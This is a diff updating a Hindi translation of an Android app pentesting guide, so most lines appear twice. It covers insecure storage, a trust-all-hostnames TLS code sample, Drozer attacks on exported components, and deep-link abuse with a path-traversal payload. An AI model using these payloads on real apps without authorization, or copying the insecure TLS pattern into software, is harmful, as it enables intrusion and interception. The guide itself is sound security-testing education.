- External storage को हटाया जा सकता है या किसी भी application द्वारा एक्सेस किया जा सकता है, जिससे यह कम सुरक्षित हो जाता है।
|
||||
- आसान पहुँच के कारण, संवेदनशील जानकारी external storage पर स्टोर न करने की सलाह दी जाती है।
|
||||
- External storage हटाई जा सकती है या किसी भी एप्लिकेशन द्वारा एक्सेस की जा सकती है, जिससे यह कम सुरक्षित होता है।
|
||||
3. **Handling Data from External Storage**:
|
||||
- External storage से प्राप्त डेटा पर हमेशा **input validation** करें। यह महत्वपूर्ण है क्योंकि यह डेटा एक untrusted स्रोत से आता है।
|
||||
- External storage पर executables या class files को dynamic loading के लिए स्टोर करना सख्त तौर पर discouraged है।
|
||||
- यदि आपका application external storage से executable files प्राप्त करता है, तो सुनिश्चित करें कि ये फाइलें **signed और cryptographically verified** हों इससे पहले कि उन्हें dynamically load किया जाए। यह कदम आपके application की सुरक्षा एकता बनाए रखने के लिए आवश्यक है।
|
||||
- external storage से प्राप्त डेटा पर हमेशा input validation करें। यह आवश्यक है क्योंकि यह डेटा एक untrusted स्रोत से आता है।
|
||||
- external storage पर executables या class files स्टोर करके dynamic loading के लिए रखना जोरदार रूप से हतोत्साहित किया जाता है।
|
||||
- यदि आपका एप्लिकेशन external storage से executable फ़ाइलें प्राप्त करना अनिवार्य है, तो सुनिश्चित करें कि इन फाइलों पर sign और cryptographic verification की गई हो इससे पहले कि उन्हें dynamically load किया जाए। यह कदम आपकी एप्लिकेशन की सुरक्षा अखंडता बनाए रखने के लिए महत्वपूर्ण है।
|
||||
|
||||
External storage का access `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` में किया जा सकता है
|
||||
External storage को `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` में एक्सेस किया जा सकता है
|
||||
|
||||
> [!TIP]
|
||||
> Android 4.4 (**API 17**) से शुरू होकर, SD card में एक directory संरचना है जो किसी app के लिए विशेष रूप से उस app के directory तक ही पहुँच को सीमित करती है। यह एक malicious application को किसी अन्य app की फ़ाइलों तक read या write access प्राप्त करने से रोकता है।
|
||||
> Starting with Android 4.4 (**API 17**), SD card का directory structure ऐसा है जो **किसी app से उस directory तक पहुँच को सीमित करता है जो विशेष रूप से उस app के लिए है**। यह malicious application को दूसरे app की फ़ाइलों तक read या write access पाने से रोकता है।
|
||||
|
||||
**Sensitive data stored in clear-text**
|
||||
|
||||
- **Shared preferences**: Android प्रत्येक application को `/data/data/<packagename>/shared_prefs/` पथ में आसानी से xml फ़ाइलें सहेजने की अनुमति देता है और कभी-कभी उस फ़ोल्डर में clear-text में संवेदनशील जानकारी मिल सकती है।
|
||||
- **Databases**: Android प्रत्येक application को `/data/data/<packagename>/databases/` पथ में आसानी से sqlite databases सहेजने की अनुमति देता है और कभी-कभी उस फ़ोल्डर में clear-text में संवेदनशील जानकारी मिल सकती है।
|
||||
- **Shared preferences**: Android प्रत्येक application को आसानी से xml फ़ाइलें `/data/data/<packagename>/shared_prefs/` path में सेव करने की अनुमति देता है और कभी-कभी उस फ़ोल्डर में clear-text में संवेदनशील जानकारी मिल सकती है।
|
||||
- **Databases**: Android प्रत्येक application को आसानी से sqlite databases `/data/data/<packagename>/databases/` path में सेव करने की अनुमति देता है और कभी-कभी उस फ़ोल्डर में clear-text में संवेदनशील जानकारी मिल सकती है।
|
||||
|
||||
### Broken TLS
|
||||
|
||||
Accept All Certificates
|
||||
**Accept All Certificates**
|
||||
|
||||
कई बार डेवलपर्स किसी कारणवश सभी certificates को स्वीकार कर लेते हैं भले ही उदाहरण के लिए hostname मैच न करता हो, इसके लिए कोड की लाइनों जैसे निम्न का उपयोग किया जाता है:
|
||||
कभी-कभी डेवलपर्स किसी कारणवश सभी certificates स्वीकार कर लेते हैं भले ही उदाहरण के लिए hostname मैच न करे, और इसके लिए कोड की लाइनों का उपयोग कर लेते हैं जैसे कि निम्न:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
@ -163,19 +163,19 @@ A good way to test this is to try to capture the traffic using some proxy like B
|
||||
|
||||
**Poor Key Management Processes**
|
||||
|
||||
कुछ डेवलपर संवेदनशील डेटा को local storage में सेव करते हैं और इसे कोड में hardcoded/predictable key से encrypt करते हैं। ऐसा नहीं करना चाहिए क्योंकि कुछ reversing तकनीकें attackers को confidential जानकारी निकालने में सक्षम बना सकती हैं।
|
||||
कुछ डेवलपर संवेदनशील डेटा को local storage में सेव करते हैं और उसे कोड में hardcoded/अनुमेय (predictable) key से encrypt करते हैं। ऐसा नहीं किया जाना चाहिए क्योंकि कुछ reversing तकनीकें attackers को confidential information निकालने की अनुमति दे सकती हैं।
|
||||
|
||||
**Use of Insecure and/or Deprecated Algorithms**
|
||||
|
||||
डेवलपर्स को authorization checks, data को store या send करने के लिए **deprecated algorithms** का उपयोग नहीं करना चाहिए। इनमे कुछ algorithms हैं: RC4, MD4, MD5, SHA1... यदि पासवर्ड स्टोर करने के लिए **hashes** का उपयोग किया जा रहा है, तो salt के साथ brute-force **resistant** hashes का उपयोग होना चाहिए।
|
||||
डेवलपरों को authorisation checks, store या send data के लिए **deprecated algorithms** का उपयोग नहीं करना चाहिए। इनमें से कुछ algorithms हैं: RC4, MD4, MD5, SHA1... अगर उदाहरण के लिए पासवर्ड स्टोर करने के लिए **hashes** का उपयोग किया गया है, तो salt के साथ **hashes brute-force resistant** का उपयोग करना चाहिए।
|
||||
|
||||
### Other checks
|
||||
|
||||
- यह सलाह दी जाती है कि **APK को obfuscate** किया जाए ताकि reverse engineer करने में attackers की मेहनत मुश्किल हो।
|
||||
- यदि ऐप sensitive है (जैसे bank apps), तो उसे अपने **खुद के checks to see if the mobile is rooted** करने चाहिए और उसके अनुसार व्यवहार करना चाहिए।
|
||||
- यदि ऐप sensitive है (जैसे bank apps), तो उसे जाँचना चाहिए कि क्या कोई **emulator** उपयोग में है।
|
||||
- यदि ऐप sensitive है (जैसे bank apps), तो उसे **execute करने से पहले अपनी integrity check** करनी चाहिए ताकि पता चले कि क्या इसे modify किया गया है।
|
||||
- Use [**APKiD**](https://github.com/rednaga/APKiD) यह चेक करने के लिए कि किस compiler/packer/obfuscator का उपयोग करके APK बनाया गया है
|
||||
- यह सुझाव दिया जाता है कि attackers के लिए reverse engineer का काम कठिन करने के लिए **APK को obfuscate** किया जाए।
|
||||
- अगर app sensitive है (जैसे bank apps), तो उसे **mobile is rooted** होने की अपनी जाँच करनी चाहिए और उसी के अनुसार व्यवहार करना चाहिए।
|
||||
- अगर app sensitive है (जैसे bank apps), तो उसे जांचना चाहिए कि क्या कोई **emulator** उपयोग हो रहा है।
|
||||
- अगर app sensitive है (जैसे bank apps), तो उसे **check it's own integrity before executing** करना चाहिए ताकि यह सुनिश्चित हो सके कि इसे.modify नहीं किया गया है।
|
||||
- Use [**APKiD**](https://github.com/rednaga/APKiD) to check which compiler/packer/obfuscator was used to build the APK
|
||||
|
||||
### React Native Application
|
||||
|
||||
@ -207,7 +207,7 @@ With this knowledge, **mariana-trench will review the code and find possible vul
|
||||
|
||||
### Secrets leaked
|
||||
|
||||
एक application में secrets (API keys, passwords, hidden urls, subdomains...) हो सकते हैं जिन्हें आप खोज सकते हैं। आप ऐसे टूल का उपयोग कर सकते हैं जैसे [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
|
||||
### Bypass Biometric Authentication
|
||||
|
||||
@ -264,7 +264,7 @@ avd-android-virtual-device.md
|
||||
- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer).
|
||||
|
||||
> [!TIP]
|
||||
> When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible.
|
||||
> जब किसी भी platform पर नया emulator बनाते हैं तो ध्यान रखें कि स्क्रीन जितनी बड़ी होगी, emulator उतना ही स्लो चलेगा। इसलिए यदि संभव हो तो छोटे स्क्रीन चुनें।
|
||||
|
||||
To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image:
|
||||
|
||||
@ -274,7 +274,7 @@ Also, notice that in the **configuration of the Android VM in Genymotion** you c
|
||||
|
||||
#### Use a physical device
|
||||
|
||||
आपको **debugging** options को activate करना होगा और अच्छा होगा अगर आप इसे **root** कर सकें:
|
||||
You need to activate the **debugging** options and it will be cool if you can **root** it:
|
||||
|
||||
1. **Settings**.
|
||||
2. (FromAndroid 8.0) Select **System**.
|
||||
@ -297,7 +297,7 @@ Magisk/Zygisk quick notes (recommended on Pixel devices)
|
||||
|
||||
**Logging**
|
||||
|
||||
डेवलपर्स को सार्वजनिक रूप से **debugging information** उजागर करने में सावधान रहना चाहिए, क्योंकि इससे sensitive data का leak हो सकता है। application logs की निगरानी करने के लिए tools [**pidcat**](https://github.com/JakeWharton/pidcat) और `adb logcat` की सलाह दी जाती है ताकि संवेदनशील जानकारी की पहचान की जा सके और उसे सुरक्षित किया जा सके। **Pidcat** अपनी आसान उपयोगिता और readability के कारण पसंद किया जाता है।
|
||||
डेवलपरों को सार्वजनिक रूप से **debugging information** उजागर करने में सावधानी बरतनी चाहिए, क्योंकि इससे संवेदनशील data leak हो सकता है। application logs को मॉनिटर करने के लिए tools [**pidcat**](https://github.com/JakeWharton/pidcat) और `adb logcat` की सिफारिश की जाती है ताकि संवेदनशील जानकारी की पहचान और सुरक्षा की जा सके। **Pidcat** इसकी उपयोगिता और पठनीयता के कारण प्रायः प्राथमिकता दिया जाता है।
|
||||
|
||||
> [!WARNING]
|
||||
> Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\
|
||||
@ -305,40 +305,40 @@ Magisk/Zygisk quick notes (recommended on Pixel devices)
|
||||
|
||||
**Copy/Paste Buffer Caching**
|
||||
|
||||
Android का **clipboard-based** framework apps में copy-paste functionality सक्षम करता है, पर यह जोखिम भी पैदा करता है क्योंकि **other applications** clipboard को access कर सकती हैं, जिससे संवेदनशील डेटा उजागर हो सकता है। इसलिए application के sensitive हिस्सों (जैसे credit card details) के लिए copy/paste functions को disable करना महत्वपूर्ण है ताकि data leak रोका जा सके।
|
||||
Android का **clipboard-based** framework apps में copy-paste सुविधा देता है, लेकिन जोखिम यह है कि **other applications** clipboard तक **access** कर सकती हैं, जिससे संवेदनशील डेटा उजागर हो सकता है। इसलिए application के संवेदनशील हिस्सों (जैसे credit card details) के लिए copy/paste functions को disable करना आवश्यक है ताकि data leak से बचा जा सके।
|
||||
|
||||
**Crash Logs**
|
||||
|
||||
यदि कोई application **crashes** करता है और logs save करता है, तो ये logs attackers की मदद कर सकते हैं, खासकर जब application को reverse-engineer नहीं किया जा सकता। इस जोखिम को कम करने के लिए, crash पर logging से बचें, और यदि logs को network पर भेजना जरूरी है तो उन्हें SSL चैनल के जरिए भेजें।
|
||||
यदि कोई application **crashes** और logs सेव करता है, तो ये logs attackers की मदद कर सकते हैं, खासकर जब application को reverse-engineer नहीं किया जा सकता। इस जोखिम को कम करने के लिए, crashes पर logging से बचें, और यदि logs नेटवर्क पर भेजने ही हों तो उन्हें SSL चैनल के माध्यम से भेजना सुनिश्चित करें।
|
||||
|
||||
As pentester, **try to take a look to these logs**.
|
||||
|
||||
**Analytics Data Sent To 3rd Parties**
|
||||
|
||||
Applications अक्सर Google Adsense जैसे services integrate करते हैं, जो developers की improper implementation के कारण संवेदनशील डेटा को inadvertently **leak** कर सकते हैं। संभावित data leaks की पहचान के लिए, यह सलाह दी जाती है कि आप application's traffic को intercept करें और किसी भी sensitive information की third-party services को भेजी जा रही हो तो जांचें।
|
||||
Applications अक्सर Google Adsense जैसे services integrate करते हैं, जो developers के गलत implementation की वजह से अनजाने में संवेदनशील data leak कर सकते हैं। संभावित data leaks पहचानने के लिए, application के traffic को intercept करना और third-party services को भेजे जा रहे किसी भी संवेदनशील जानकारी की जाँच करना सलाहकार है।
|
||||
|
||||
### SQLite DBs
|
||||
|
||||
अधिकतर applications internal SQLite databases का उपयोग करके information save करते हैं। Pentest के दौरान बनाए गए **databases**, **tables** और **columns** के नामों और उनमें saved सभी **data** को देखना चाहिए क्योंकि आप वहां से **sensitive information** (जो vulnerability होगी) पा सकते हैं।\
|
||||
Databases को `/data/data/the.package.name/databases` में locate किया जाना चाहिए जैसे `/data/data/com.mwr.example.sieve/databases`
|
||||
ज़्यादातर applications internal SQLite databases का उपयोग करके जानकारी सेव करेंगे। pentest के दौरान बनाए गए **databases**, **tables** और **columns** के नामों और सेव किए गए सारे डेटा को ध्यान से देखें क्योंकि आप वहां **sensitive information** पा सकते हैं (जो कि vulnerability होगी).\
|
||||
Databases आमतौर पर `/data/data/the.package.name/databases` में स्थित होते हैं जैसे `/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
यदि database confidential information save कर रहा है और **encrypted** है पर आप application के अंदर **password** ढूँढ सकते हैं तो यह फिर भी एक **vulnerability** है।
|
||||
अगर database confidential information सेव कर रहा है और वह **encrypted b**ut आप application के अंदर password **find** कर सकते हैं तो यह फिर भी एक **vulnerability** है।
|
||||
|
||||
.tables का उपयोग करके tables को enumerate करें और `.schema <table_name>` चलाकर tables के columns enumerate करें
|
||||
.tables का उपयोग करके tables enumerate करें और tables के columns को `.schema <table_name>` करके enumerate करें
|
||||
|
||||
### Drozer (Exploit Activities, Content Providers and Services)
|
||||
|
||||
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\
|
||||
Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections.
|
||||
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** आपको **assume the role of an Android app** और अन्य apps के साथ interact करने की अनुमति देता है। यह वही कुछ भी कर सकता है जो एक installed application कर सकता है, जैसे Android’s Inter-Process Communication (IPC) mechanism का उपयोग करना और underlying operating system के साथ interact करना। .\
|
||||
Drozer एक उपयोगी tool है जो **exported activities, exported services and Content Providers** को exploit करने में मदद करता है जैसा कि आप अगले sections में सीखेंगे।
|
||||
|
||||
### Exploiting exported Activities
|
||||
|
||||
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Also remember that the code of an activity starts in the **`onCreate`** method.
|
||||
यह भी याद रखें कि किसी activity का कोड **`onCreate`** method में शुरू होता है।
|
||||
|
||||
**Authorisation bypass**
|
||||
|
||||
When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.**
|
||||
जब कोई Activity exported होती है तो आप उसकी screen को external app से invoke कर सकते हैं। इसलिए, अगर किसी activity में **sensitive information** है और वह **exported** है तो आप authentication mechanisms को **bypass** करके उसे access कर सकते हैं।
|
||||
|
||||
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
@ -349,105 +349,105 @@ You can also start an exported activity from adb:
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21).
|
||||
**नोट**: MobSF किसी activity में `android:launchMode` के रूप में _**singleTask/singleInstance**_ के उपयोग को malicious के रूप में पहचान सकता है, लेकिन [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) के कारण, जाहिर तौर पर यह केवल पुराने वर्शनों (API versions < 21) में ही खतरनाक है।
|
||||
|
||||
> [!TIP]
|
||||
> ध्यान दें कि एक authorisation bypass हमेशा एक vulnerability नहीं होता; यह इस पर निर्भर करेगा कि bypass कैसे काम करता है और कौन-सी जानकारी exposed होती है।
|
||||
> ध्यान दें कि एक authorisation bypass हमेशा एक vulnerability नहीं होता; यह इस बात पर निर्भर करेगा कि bypass कैसे काम करता है और कौन सी जानकारी प्रकट होती है।
|
||||
|
||||
**संवेदनशील जानकारी leakage**
|
||||
**Sensitive information leakage**
|
||||
|
||||
**Activities भी परिणाम वापस कर सकती हैं**। यदि आप कोई exported और unprotected activity ढूंढते हैं जो **`setResult`** method कॉल कर रही हो और **संवेदनशील जानकारी return कर रही हो**, तो यह एक संवेदनशील जानकारी leakage है।
|
||||
**Activities can also return results**. यदि आप किसी exported और unprotected activity को ढूंढ पाते हैं जो **`setResult`** method को कॉल कर रही हो और **returning sensitive information**, तो there is a sensitive information leakage।
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
यदि Tapjacking रोका न गया हो, तो आप exported activity का दुरुपयोग करके **user को अनपेक्षित actions करने के लिए प्रेरित कर सकते हैं**। अधिक जानकारी के लिए [**what is Tapjacking follow the link**](#tapjacking).
|
||||
यदि tapjacking रोका नहीं गया है, तो आप exported activity का दुरुपयोग करके **user को अप्रत्याशित क्रियाएँ करवा सकते हैं**। अधिक जानकारी के लिए [**what is Tapjacking follow the link**](#tapjacking) देखें।
|
||||
|
||||
### Exploiting Content Providers - Accessing and manipulating sensitive information
|
||||
|
||||
[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
|
||||
Content providers मूल रूप से डेटा **share** करने के लिए उपयोग होते हैं। यदि किसी app में content providers उपलब्ध हैं तो आप उनसे संवेदनशील डेटा **extract** कर सकते हैं। साथ ही यह दिलचस्प होगा संभवतः **SQL injections** और **Path Traversals** को टेस्ट करना क्योंकि वे vulnerable हो सकते हैं।
|
||||
Content providers मूल रूप से **share data** के लिए उपयोग किए जाते हैं। यदि किसी app के पास उपलब्ध content providers हैं, तो आप उनसे **extract sensitive** data कर सकते हैं। इसके अलावा संभावित **SQL injections** और **Path Traversals** का परीक्षण करना भी महत्वपूर्ण है क्योंकि वे vulnerable हो सकते हैं।
|
||||
|
||||
[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
### **Exploiting Services**
|
||||
|
||||
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
|
||||
ध्यान रखें कि Service की actions method `onStartCommand` में शुरू होती हैं।
|
||||
ध्यान रखें कि Service की क्रियाएँ method `onStartCommand` में शुरू होती हैं।
|
||||
|
||||
Service मूल रूप से ऐसा component है जो **data receive** कर सकता है, उसे **process** करता है और (या नहीं) response **return** कर सकता है। इसलिए, यदि कोई application कुछ services export कर रही है तो आपको **code** जांचना चाहिए यह समझने के लिए कि यह क्या कर रहा है और इसे **dynamically** टेस्ट करना चाहिए ताकि confidential जानकारी निकाली जा सके, authentication measures bypass किए जा सकें...\
|
||||
Service मूलतः ऐसा कुछ है जो **data receive** कर सकता है, उसे **process** करता है और (या नहीं) एक response **returns** करता है। इसलिए, यदि कोई application कुछ services export कर रहा है तो आपको **code** की जाँच करनी चाहिए यह समझने के लिए कि यह क्या कर रहा है और गोपनीय जानकारी निकालने, authentication measures को bypass करने के लिए इसे **dynamically** test करना चाहिए।\
|
||||
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **Exploiting Broadcast Receivers**
|
||||
|
||||
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
|
||||
ध्यान रखें कि Broadcast Receiver के actions method `onReceive` में शुरू होते हैं।
|
||||
ध्यान रखें कि Broadcast Receiver की क्रियाएँ method `onReceive` में शुरू होती हैं।
|
||||
|
||||
एक broadcast receiver किसी प्रकार के message की प्रतीक्षा करेगा। यह इस पर निर्भर करेगा कि receiver उस message को कैसे handle करता है कि वह vulnerable हो सकता है।\
|
||||
एक broadcast receiver किसी प्रकार के message का इंतज़ार करेगा। यह निर्भर करता है कि receiver उस संदेश को कैसे handle करता है, यह vulnerable हो सकता है।\
|
||||
[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **Exploiting Schemes / Deep links**
|
||||
|
||||
आप deep links को manually खोज सकते हैं, MobSF जैसे tools या [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) जैसी scripts का उपयोग करके।\
|
||||
आप किसी declared **scheme** को **adb** या एक **browser** का उपयोग करके **open** कर सकते हैं:
|
||||
आप deep links मैन्युअली ढूंढ सकते हैं, MobSF जैसे tools या [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) जैसे scripts का उपयोग करके।\
|
||||
आप adb या किसी browser का उपयोग करके घोषित **scheme** को **open** कर सकते हैं:
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
_ध्यान दें कि आप **पैकेज नाम छोड़ सकते हैं** और मोबाइल अपने आप उस ऐप को कॉल करेगा जो उस लिंक को खोलना चाहिए।_
|
||||
_ध्यान दें कि आप **पैकेज नाम छोड़ सकते हैं** और मोबाइल स्वचालित रूप से उस ऐप को कॉल करेगा जो उस लिंक को खोलना चाहिए._
|
||||
```html
|
||||
<!-- Browser regular link -->
|
||||
<a href="scheme://hostname/path?param=value">Click me</a>
|
||||
<!-- fallback in your url you could try the intent url -->
|
||||
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
|
||||
```
|
||||
**Code executed**
|
||||
**App में निष्पादित होने वाला code**
|
||||
|
||||
In order to find the **code that will be executed in the App**, go to the activity called by the deeplink and search the function **`onNewIntent`**.
|
||||
App में निष्पादित होने वाला code खोजने के लिए, deeplink द्वारा कॉल की गई activity में जाएं और function **`onNewIntent`** खोजें।
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
**संवेदनशील जानकारी**
|
||||
|
||||
Every time you find a deep link check that i**t's not receiving sensitive data (like passwords) via URL parameters**, because any other application could **impersonate the deep link and steal that data!**
|
||||
हर बार जब आप कोई deep link पाते हैं तो जांचें कि **यह URL parameters के माध्यम से संवेदनशील डेटा (जैसे passwords) प्राप्त नहीं कर रहा है**, क्योंकि कोई भी अन्य application **उस deep link की impersonate करके वह डेटा चुरा सकता है!**
|
||||
|
||||
**Parameters in path**
|
||||
**Path में Parameters**
|
||||
|
||||
You **must check also if any deep link is using a parameter inside the path** of the URL like: `https://api.example.com/v1/users/{username}` , in that case you can force a path traversal accessing something like: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
|
||||
Note that if you find the correct endpoints inside the application you may be able to cause a **Open Redirect** (if part of the path is used as domain name), **account takeover** (if you can modify users details without CSRF token and the vuln endpoint used the correct method) and any other vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/).
|
||||
आपको **यह भी जांचना चाहिए कि कोई deep link URL के path के अंदर parameter तो उपयोग नहीं कर रहा है** जैसे: `https://api.example.com/v1/users/{username}` , उस स्थिति में आप path traversal जबरदस्ती कर सकते हैं जैसे: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
|
||||
ध्यान दें कि यदि आप application के अंदर सही endpoints ढूंढ लेते हैं तो आप **Open Redirect** (यदि path का कोई हिस्सा domain name के रूप में उपयोग होता है), **account takeover** (यदि आप CSRF token के बिना user details बदल सकते हैं और vulnerable endpoint ने सही method उपयोग किया) और किसी अन्य vuln का कारण बन सकते हैं। अधिक जानकारी के लिए [यहाँ](http://dphoeniixx.com/2020/12/13-2/) देखें।
|
||||
|
||||
**More examples**
|
||||
|
||||
An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_).
|
||||
एक [दिलचस्प bug bounty रिपोर्ट](https://hackerone.com/reports/855618) links के बारे में (_/.well-known/assetlinks.json_).
|
||||
|
||||
### Transport Layer Inspection and Verification Failures
|
||||
### ट्रांसपोर्ट लेयर निरीक्षण और सत्यापन विफलताएँ
|
||||
|
||||
- **Certificates are not always inspected properly** by Android applications. It's common for these applications to overlook warnings and accept self-signed certificates or, in some instances, revert to using HTTP connections.
|
||||
- **Negotiations during the SSL/TLS handshake are sometimes weak**, employing insecure cipher suites. This vulnerability makes the connection susceptible to man-in-the-middle (MITM) attacks, allowing attackers to decrypt the data.
|
||||
- Leakage of private information is a risk when applications authenticate using secure channels but then communicate over non-secure channels for other transactions. इस तरह का व्यवहार sensitive data, जैसे session cookies या user details, को malicious entities द्वारा इंटरसेप्ट होने से सुरक्षित नहीं रखता।
|
||||
- **Certificates हमेशा सही तरीके से निरीक्षित नहीं किए जाते** Android applications द्वारा। अक्सर ये applications warnings को अनदेखा कर self-signed certificates स्वीकार कर लेते हैं या कुछ मामलों में HTTP connections पर वापस चले जाते हैं।
|
||||
- **SSL/TLS handshake के दौरान negotiations कभी-कभार कमजोर होते हैं**, जो insecure cipher suites का उपयोग करते हैं। यह vulnerability connection को man-in-the-middle (MITM) attacks के लिए संवेदनशील बनाती है, जिससे attackers डेटा decrypt कर सकते हैं।
|
||||
- **Leakage of private information** एक जोखिम है जब applications secure channels का उपयोग करके authenticate करती हैं पर अन्य transactions के लिए non-secure channels पर communicate करती हैं। यह तरीका sensitive data, जैसे session cookies या user details, को malicious entities द्वारा interception से सुरक्षित नहीं रखता।
|
||||
|
||||
#### Certificate Verification
|
||||
#### सर्टिफिकेट सत्यापन
|
||||
|
||||
हम **certificate verification** पर ध्यान देंगे। सर्वर के certificate की integrity को verify करना सुरक्षा बढ़ाने के लिए आवश्यक है। यह महत्वपूर्ण है क्योंकि insecure TLS configurations और संवेदनशील डेटा का unencrypted चैनलों पर ट्रांसमिशन गंभीर जोखिम उत्पन्न कर सकता है। सर्वर certificates की verification और vulnerabilities को ठीक करने के विस्तृत चरणों के लिए, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) व्यापक मार्गदर्शन देता है।
|
||||
हम **certificate verification** पर ध्यान केंद्रित करेंगे। सुरक्षा बढ़ाने के लिए server के certificate की integrity verify करना आवश्यक है। यह महत्वपूर्ण है क्योंकि insecure TLS configurations और unencrypted channels पर संवेदनशील डेटा का ट्रांसमिशन गंभीर जोखिम पैदा कर सकता है। server certificates verify करने और vulnerabilities को ठीक करने के विस्तृत चरणों के लिए, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) विस्तृत मार्गदर्शन प्रदान करता है।
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
SSL Pinning एक सुरक्षा उपाय है जहाँ application सर्वर के certificate की तुलना application में संग्रहित ज्ञात कॉपी के साथ करती है। यह तरीका MITM attacks को रोकने के लिए आवश्यक है। संवेदनशील जानकारी संभालने वाली applications के लिए SSL Pinning लागू करना दृढ़तापूर्वक अनुशंसित है।
|
||||
SSL Pinning एक security measure है जहाँ application server के certificate को application में स्टोर ज्ञात copy के खिलाफ verify करती है। यह तरीका MITM attacks को रोकने के लिए आवश्यक है। संवेदनशील जानकारी संभालने वाली applications के लिए SSL Pinning लागू करना अत्यधिक अनुशंसित है।
|
||||
|
||||
#### Traffic Inspection
|
||||
#### ट्रैफ़िक निरीक्षण
|
||||
|
||||
HTTP ट्रैफिक inspect करने के लिए, proxy tool का certificate (उदा. Burp) **install** करना ज़रूरी है। इस certificate को install किए बिना, encrypted ट्रैफिक proxy के माध्यम से दिखाई नहीं दे सकता। custom CA certificate install करने के गाइड के लिए, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine) देखें।
|
||||
HTTP ट्रैफ़िक inspect करने के लिए, **proxy tool का certificate install करना** आवश्यक है (उदा., Burp)। इस certificate को install किए बिना, encrypted ट्रैफ़िक proxy के माध्यम से दिखाई नहीं दे सकता। custom CA certificate install करने के लिए गाइड के लिए, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine) देखें।
|
||||
|
||||
Applications targeting **API Level 24 and above** को Network Security Config में बदलाव करने की आवश्यकता होती है ताकि वे proxy के CA certificate को accept करें। encrypted ट्रैफिक inspect करने के लिए यह कदम महत्वपूर्ण है। Network Security Config बदलने के निर्देशों के लिए, [**refer to this tutorial**](make-apk-accept-ca-certificate.md) देखें।
|
||||
Applications जो **API Level 24 and above** लक्षित करती हैं, उन्हें proxy की CA certificate स्वीकार करने के लिए Network Security Config में परिवर्तन करने की आवश्यकता होती है। यह कदम encrypted ट्रैफ़िक inspect करने के लिए महत्वपूर्ण है। Network Security Config बदलने के निर्देशों के लिए, [**refer to this tutorial**](make-apk-accept-ca-certificate.md) देखें।
|
||||
|
||||
यदि **Flutter** उपयोग किया जा रहा है तो आपको [**this page**](flutter.md) में दिए निर्देशों का पालन करना होगा। ऐसा इसलिए है क्योंकि केवल certificate को store में जोड़ने से काम नहीं चलेगा क्योंकि Flutter की अपनी valid CAs की सूची होती है।
|
||||
यदि **Flutter** उपयोग हो रहा है तो आपको [**this page**](flutter.md) में दिए निर्देशों का पालन करना होगा। ऐसा इसलिए है क्योंकि केवल certificate को store में जोड़ना काम नहीं करेगा क्योंकि Flutter के पास अपनी स्वयं की valid CAs की सूची होती है।
|
||||
|
||||
#### Static detection of SSL/TLS pinning
|
||||
#### SSL/TLS pinning का static पता लगाना
|
||||
|
||||
runtime bypasses का प्रयास करने से पहले जल्दी से मैप करें कि APK में pinning कहाँ enforce हो रहा है। static discovery आपको hooks/patches की योजना बनाने और सही कोड पाथ्स पर ध्यान केंद्रित करने में मदद करता है।
|
||||
